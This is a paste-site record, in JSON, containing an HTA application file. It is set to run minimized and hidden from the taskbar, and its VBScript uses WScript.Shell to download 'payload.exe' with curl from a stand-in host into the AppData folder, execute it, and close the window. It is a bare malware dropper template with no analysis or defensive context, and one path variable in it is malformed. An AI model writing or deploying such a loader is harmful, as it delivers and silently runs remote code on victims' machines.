{"id":"wyscpa","deleted":false,"future_paste":false,"expired":false,"language":"text","created_at":"2025-05-22 14:39:00","expires_at":null,"content":"<html>\r\n<head>\r\n    <HTA:APPLICATION \r\n        ID=\"oHTA\"\r\n        APPLICATIONNAME=\"handleSys\"\r\n        WINDOWSTATE=\"minimized\"\r\n        CAPTION=\"yes\"\r\n        SHOWINTASKBAR=\"no\"\r\n        SINGLEINSTANCE=\"yes\">\r\n<\/head>\r\n<body>\r\n    <script language=\"VBScript\">\r\n        Set WShell = CreateObject(\"WScript.Shell\")\r\n        WShell.Run \"curl -O &appdata&\\payload.exe https:\/\/example.com\/payload.exe && start %appdata%\\payload.exe\"\r\n        window.close()\r\n    <\/script>\r\n<\/body>\r\n<\/html>"}